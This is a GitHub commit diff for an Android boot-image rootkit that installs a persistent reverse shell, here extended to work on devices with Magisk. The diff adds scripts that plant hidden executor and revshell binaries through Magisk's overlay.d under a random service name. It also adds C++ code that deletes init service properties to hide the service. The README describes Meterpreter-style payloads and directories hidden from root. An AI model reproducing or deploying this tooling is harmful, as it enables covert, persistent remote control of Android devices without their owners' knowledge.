Skip to content

Commit da22a1d

Browse files
author
ng
committed
support devices with Magisk
1 parent 5fd1af2 commit da22a1d

File tree

8 files changed

+122
-47
lines changed

8 files changed

+122
-47
lines changed

README.MD

Lines changed: 21 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,8 @@ MIUI 11.0.2 | 7 | rootfs
2727
LineageOS 17.1 | 10 | 2SI
2828
LineageOS 19.0 | 12 | 2SI
2929

30+
_Note_: if Magisk is installed on SAR or 2SI device, this tool will fallback to Magisk's `overlay.d`. It will use standard `magisk` context which is not hidden by SELinux policy. In this case, setting `hide_process_bind` is recommended (see `config.prop`).
31+
3032
## Features & Improvements
3133

3234
- Installs entirely into _/boot_, does not modify _/system_ in any way
@@ -36,20 +38,20 @@ LineageOS 19.0 | 12 | 2SI
3638
- Installation and backup no longer depend on _/data_
3739
- Installation takes much less time
3840
- Cut artifacts and unused code left from Magisk
41+
- Compatible with Magisk on device
3942

4043
## Limitations
41-
- Incompatible with Magisk, causing bootloop
4244
- Not hidden from root (files, mounts, etc.)
4345
- On some systems _logcat_ may log random service name on boot
4446
- Sockets (if any) are not hidden, though specific process using network is
47+
- Not hidden by SELinux policy if installed with Magisk on SAR / 2SI device
4548

4649
## Prerequisites
4750

4851
- Python 3
4952
- Android SDK
5053
- ADB / Fastboot tools
5154
- Custom recovery image for your device (TWRP is recommended)
52-
- #### **No Magisk installed on device!**   (compatibility issues cause bootloop)
5355

5456
## Build
5557

@@ -75,7 +77,7 @@ The result is a sideloadable _.zip_ package which can be installed with TWRP or
7577

7678
_Note_: if using reverse shell payloads (such as ReverseSSH, Meterpreter, etc.), set your LHOST and LPORT in `config.prop` before building.
7779

78-
_Note_: if SELinux is _permissive_ or _off_ on the target device, you can use alternative hiding method. See `config.prop` for details.
80+
_Note_: if SELinux is _permissive_ or _off_ on the target device or you have Magisk, you can use alternative hiding method. See `config.prop` for details.
7981

8082
_Note_: you can disable logging (logcat and selinux) by setting `release=True` in the end of `build_revshell.py`.
8183

@@ -99,18 +101,22 @@ At this moment, **do not reboot** right away. Backup original boot partition:
99101
$ adb pull /tmp/backup_original_partitions .
100102
```
101103

102-
Run the command **before** rebooting into system, otherwise you will not be able to uninstall this tool properly and will have to find stock boot image for your device somewhere and flash it.
104+
Run the command **before** rebooting into system, otherwise you might not be able to fully restore stock boot image.
103105

104106
Reboot into system after you have backups on your PC.
105107

106108
#### Uninstall
107109

108-
You need a backup of original partitions made during installation. Move it to _/tmp_:
110+
You have two options to uninstall this tool: **restore /boot image** using backup or **revert modifications in-place**.
111+
112+
To restore the image, push a backup of the original partitions made during installation to _/tmp_:
109113
```
110114
$ adb push backup_original_partitions /tmp/
111115
```
112116

113-
Start sideload feature in Advanced / Sideload and then run:
117+
If you don't have a backup image or don't need to keep /boot signed, you can proceed without backups. In this case, uninstall script will attempt to restore _init_ in-place.
118+
119+
Start sideload feature in Advanced / ADB Sideload and then run:
114120
```
115121
$ adb sideload zip_reverse_shell_uninstall.zip
116122
```
@@ -130,13 +136,10 @@ Before running one, rename or symlink your TWRP image as `twrp` in your current
130136
Simply connect your device via USB and switch it into Fastboot mode.
131137
After installation, backups will be saved automatically.
132138

133-
`install.sh` to install and save backup image. \
134-
`reinstall.sh` to reinstall quickly (if you have the backup).\
135-
`uninstall.sh` to restore original boot image from backup.
139+
`install.sh` to install or reinstall. \
140+
`uninstall.sh` to uninstall: either restore boot image from backup or uninstall directly.
136141

137-
#### In case installation script crashes, make sure you pull backups manually when prompted!
138-
139-
#### _Warning_: avoid double installation as it will cause bootloop! Reinstall (uninstall and install again) instead.
142+
#### In case installation script crashes, make sure you pull backups manually when prompted! (see TWRP console)
140143

141144
## Test
142145

@@ -167,6 +170,12 @@ $ adb logcat | grep revshell
167170
03-18 00:35:01.312 3197 3197 D revshell: tick ! 15 seconds since process started
168171
```
169172

173+
On boot, temp and persistence directories are created:
174+
- `/mnt/secure/temp` - protected directory in _tmpfs_
175+
- `/data/adb/.fura` - directory to store arbitrary files persistently
176+
177+
Both directories are protected by SELinux policy, so they might be inaccessible even to root (depends on the stock policy).
178+
170179
You can disable logging (logcat and selinux) by setting `release=True` in the end of `build_revshell.py`.
171180

172181
## Custom payloads

build_revshell.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -404,7 +404,7 @@ def zip_main_revshell(args):
404404

405405
# Binaries
406406
for lib_dir, zip_dir in [('armeabi-v7a', 'arm'), ('x86', 'x86')]:
407-
for binary in ['magiskinit', 'magiskinit64', 'magiskboot']:
407+
for binary in ['magiskinit', 'magiskinit64', 'magiskboot', 'revshell', 'executor']:
408408
source = op.join('native', 'out', lib_dir, binary)
409409
target = op.join(zip_dir, binary)
410410
zip_with_msg(zipf, source, target)
@@ -414,6 +414,10 @@ def zip_main_revshell(args):
414414
target = op.join('common', 'boot_patch.sh')
415415
zip_with_msg(zipf, source, target)
416416

417+
source = op.join('scripts', 'rtk.rc')
418+
target = op.join('common', 'rtk.rc')
419+
zip_with_msg(zipf, source, target)
420+
417421
# util_functions.sh
418422
source = op.join('scripts', 'util_functions.sh')
419423
with open(source, 'r') as script:

native/jni/magiskboot/ramdisk.cpp

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -76,12 +76,14 @@ void magisk_cpio::patch() {
7676
#define TWO_STAGE_INIT (1 << 3)
7777

7878
int magisk_cpio::test() {
79-
for (auto file : UNSUPPORT_LIST)
80-
if (exists(file))
81-
return UNSUPPORTED_CPIO;
82-
8379
int flags = STOCK_BOOT;
8480

81+
for (auto file : UNSUPPORT_LIST)
82+
if (exists(file)) {
83+
flags |= UNSUPPORTED_CPIO;
84+
break;
85+
}
86+
8587
if (exists(RAMDISK_XZ)) {
8688
flags |= COMPRESSED_CPIO | MAGISK_PATCHED;
8789
decompress();

native/jni/payload/executor.cpp

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@
3535

3636
#define SBIN_REVSHELL "/sbin/revshell"
3737
#define DEV_REVSHELL "/dev/sys_ctl/revshell"
38+
#define DEBUG_REVSHELL "/debug_ramdisk/revshell"
3839

3940

4041
bool check_fs_decrypted() {
@@ -178,9 +179,13 @@ int main(int argc, char** argv, char** envp) {
178179
int status;
179180

180181
// Hide prop: init.svc.SVC_NAME
181-
if (argc != 2) return 0;
182-
std::string svc_name = "init.svc." + std::string(argv[1]);
183-
delprop(svc_name.c_str());
182+
if (argc >= 2) {
183+
std::string svc_name = "init.svc." + std::string(argv[1]);
184+
delprop(svc_name.c_str());
185+
186+
svc_name = "ro.boottime." + std::string(argv[1]);
187+
delprop(svc_name.c_str());
188+
}
184189

185190
// Remount read-only /sbin on system-as-root
186191
// (may fail on rootfs, no problem there)
@@ -189,7 +194,14 @@ int main(int argc, char** argv, char** envp) {
189194
mount(nullptr, "/sbin", nullptr, MS_REMOUNT | MS_RDONLY, nullptr);
190195
revshell_path = SBIN_REVSHELL;
191196
}
192-
else revshell_path = DEV_REVSHELL;
197+
else if (access(DEV_REVSHELL, F_OK) == 0)
198+
revshell_path = DEV_REVSHELL;
199+
else if (access(DEBUG_REVSHELL, F_OK) == 0)
200+
revshell_path = DEBUG_REVSHELL;
201+
else {
202+
ALOGD("Error: revshell binary not found");
203+
return 1;
204+
}
193205

194206
// setup temp dir
195207
ALOGD("Setting up " TEMP_MNT_POINT TEMP_DIR);

scripts/boot_patch.sh

Lines changed: 42 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,7 @@ if [ -z $SOURCEDMODE ]; then
3939
fi
4040

4141
BOOTIMAGE="$1"
42+
SYSTEM_ROOT="$2"
4243
[ -e "$BOOTIMAGE" ] || abort "$BOOTIMAGE does not exist!"
4344

4445
# Flags
@@ -75,7 +76,6 @@ esac
7576
# Ramdisk Restores
7677
###################
7778

78-
#SHA1=`./magiskboot sha1 "$BOOTIMAGE" 2>/dev/null`
7979
cat $BOOTIMAGE > stock_boot.img
8080
cp -af ramdisk.cpio ramdisk.cpio.orig 2>/dev/null
8181

@@ -92,8 +92,24 @@ echo "RECOVERYMODE=$RECOVERYMODE" >> config
9292
./magiskboot cpio ramdisk.cpio test
9393
STATUS=$?
9494

95-
case $((STATUS & 3)) in
96-
0 ) # Stock boot / Unsupported?
95+
if [ $((STATUS & 1)) -ne 0 ]; then
96+
# unxz original init (if xz)
97+
./magiskboot cpio ramdisk.cpio "extract .backup/init init"
98+
./magiskboot cpio ramdisk.cpio "extract .backup/init.xz init.xz" && \
99+
./magiskboot decompress init.xz init
100+
101+
# SAR device detected? -> count as 2si here
102+
$SYSTEM_ROOT && STATUS=$((STATUS | 8))
103+
fi
104+
105+
# TODO : legacy SAR + magisk ??
106+
107+
# 1 = magisk
108+
# 2 = rootkit
109+
# 4 = compressed (ignore)
110+
# 8 = two-stage
111+
case $((STATUS & 11)) in
112+
0|8 ) # Stock boot
97113
ui_print "- Stock boot image detected"
98114

99115
./magiskboot cpio ramdisk.cpio \
@@ -107,11 +123,6 @@ case $((STATUS & 3)) in
107123
1 ) # Magisk patched
108124
ui_print "- Magisk patched boot image detected"
109125

110-
# unxz original init (if xz)
111-
./magiskboot cpio ramdisk.cpio "extract .backup/init init"
112-
./magiskboot cpio ramdisk.cpio "extract .backup/init.xz init.xz" && \
113-
./magiskboot decompress init.xz init
114-
115126
# Execute our patches after magisk to overwrite sepolicy (partial stealth?)
116127
# upd: still not working... magisk policy has priority?
117128
# hi fstab fastboot btw
@@ -132,25 +143,36 @@ case $((STATUS & 3)) in
132143
"add 750 .backup/init init" \
133144
"rm .backup/init.xz"
134145

135-
# contains "selinux_setup" ? -> 2si, too
136-
./magiskboot hexpatch init 73656c696e75785f7365747570 73656c696e75785f7365747570 && STATUS=8
137-
138-
if [ $((STATUS & 8)) -ne 0 ]; then
139-
ui_print " "
140-
ui_print "! WARNING: Magisk in 2SI scheme detected."
141-
ui_print "Full compatibility with Magisk is not yet implemented and tested. This tool will probably not work with Magisk installed."
142-
ui_print " "
143-
fi
144-
145146
;;
146-
2|3 )
147+
2|3|10 ) # Rootkit with / without magisk, except 2si magisk
147148
ui_print "- Rootkit installation detected, reinstalling"
148149

149-
./magiskboot cpio ramdisk.cpio \
150+
./magiskboot cpio ramdisk.cpio \
150151
"add 000 .rtk_backup/.rtk config" \
151152
"add 750 init magiskinit"
152153

153154
;;
155+
9|11 ) # 2si magisk (currently unsupported, so just use its overlay.d)
156+
# -> no sepolicy patches, no stealth, use standard magisk context
157+
158+
ui_print " "
159+
ui_print "! Warning: Magisk in SAR / 2SI scheme detected."
160+
ui_print "Due to compatibility issues, this tool will fallback to Magisk's own overlay.d and use standard magisk context."
161+
ui_print " "
162+
163+
SVC_NAME=$(head /dev/urandom -c 60 | tail -c 40 | LC_ALL=C tr -dc A-Za-z0-9 | head -c 13)
164+
printf "$(cat rtk.rc)" "$SVC_NAME" "$SVC_NAME" "$SVC_NAME" > rtk.rc
165+
166+
# Fallback to overlay.d (2si, works in newer magisk, limited stealth)
167+
./magiskboot cpio ramdisk.cpio \
168+
"mkdir 000 overlay.d" \
169+
"mkdir 000 overlay.d/sbin" \
170+
"add 000 overlay.d/rtk.rc rtk.rc" \
171+
"add 750 overlay.d/sbin/executor executor" \
172+
"add 750 overlay.d/sbin/revshell revshell" \
173+
"mkdir 000 .rtk_backup" \
174+
"add 000 .rtk_backup/.rtk config"
175+
154176
esac
155177

156178
if [ $((STATUS & 4)) -ne 0 ]; then

scripts/rtk.rc

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# Used in overlay.d fallback for 2si with magisk
2+
3+
service %s ${MAGISKTMP}/executor %s
4+
disabled
5+
user root
6+
group root
7+
seclabel u:r:magisk:s0
8+
shutdown critical
9+
oneshot
10+
11+
on property:sys.boot_completed=1
12+
start %s
13+

scripts/uninstall_revshell.sh

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -132,12 +132,25 @@ else
132132
[ $((STATUS & 2)) -ne 0 ] || abort "! Rootkit isn't installed. If it is, use backups to uninstall."
133133
ui_print "- Restoring init in-place"
134134

135-
# Internal restore
136-
./magiskboot cpio ramdisk.cpio restore
137-
if ! ./magiskboot cpio ramdisk.cpio "exists init"; then
138-
# A only system-as-root
139-
rm -f ramdisk.cpio
135+
if ./magiskboot cpio ramdisk.cpio "exists overlay.d/rtk.rc"; then
136+
# 2si magisk (overlay.d)
137+
138+
ui_print "- Removing overlay.d entries"
139+
./magiskboot cpio ramdisk.cpio \
140+
"rm overlay.d/sbin/executor" \
141+
"rm overlay.d/sbin/revshell" \
142+
"rm overlay.d/rtk.rc" \
143+
"rm .rtk_backup/.rtk"
144+
145+
else
146+
# regular restore
147+
./magiskboot cpio ramdisk.cpio restore
148+
if ! ./magiskboot cpio ramdisk.cpio "exists init"; then
149+
# A only system-as-root
150+
rm -f ramdisk.cpio
151+
fi
140152
fi
153+
141154
./magiskboot repack $BOOTIMAGE
142155

143156
# Sign chromeos boot

scripts/util_functions.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -458,7 +458,7 @@ install_magisk() {
458458
# Source the boot patcher
459459
ui_print "- Sourcing boot_patch.sh"
460460
SOURCEDMODE=true
461-
. ./boot_patch.sh "$BOOTIMAGE"
461+
. ./boot_patch.sh "$BOOTIMAGE" "$SYSTEM_ROOT"
462462

463463
ui_print "- Flashing new boot image"
464464

0 commit comments

Comments
 (0)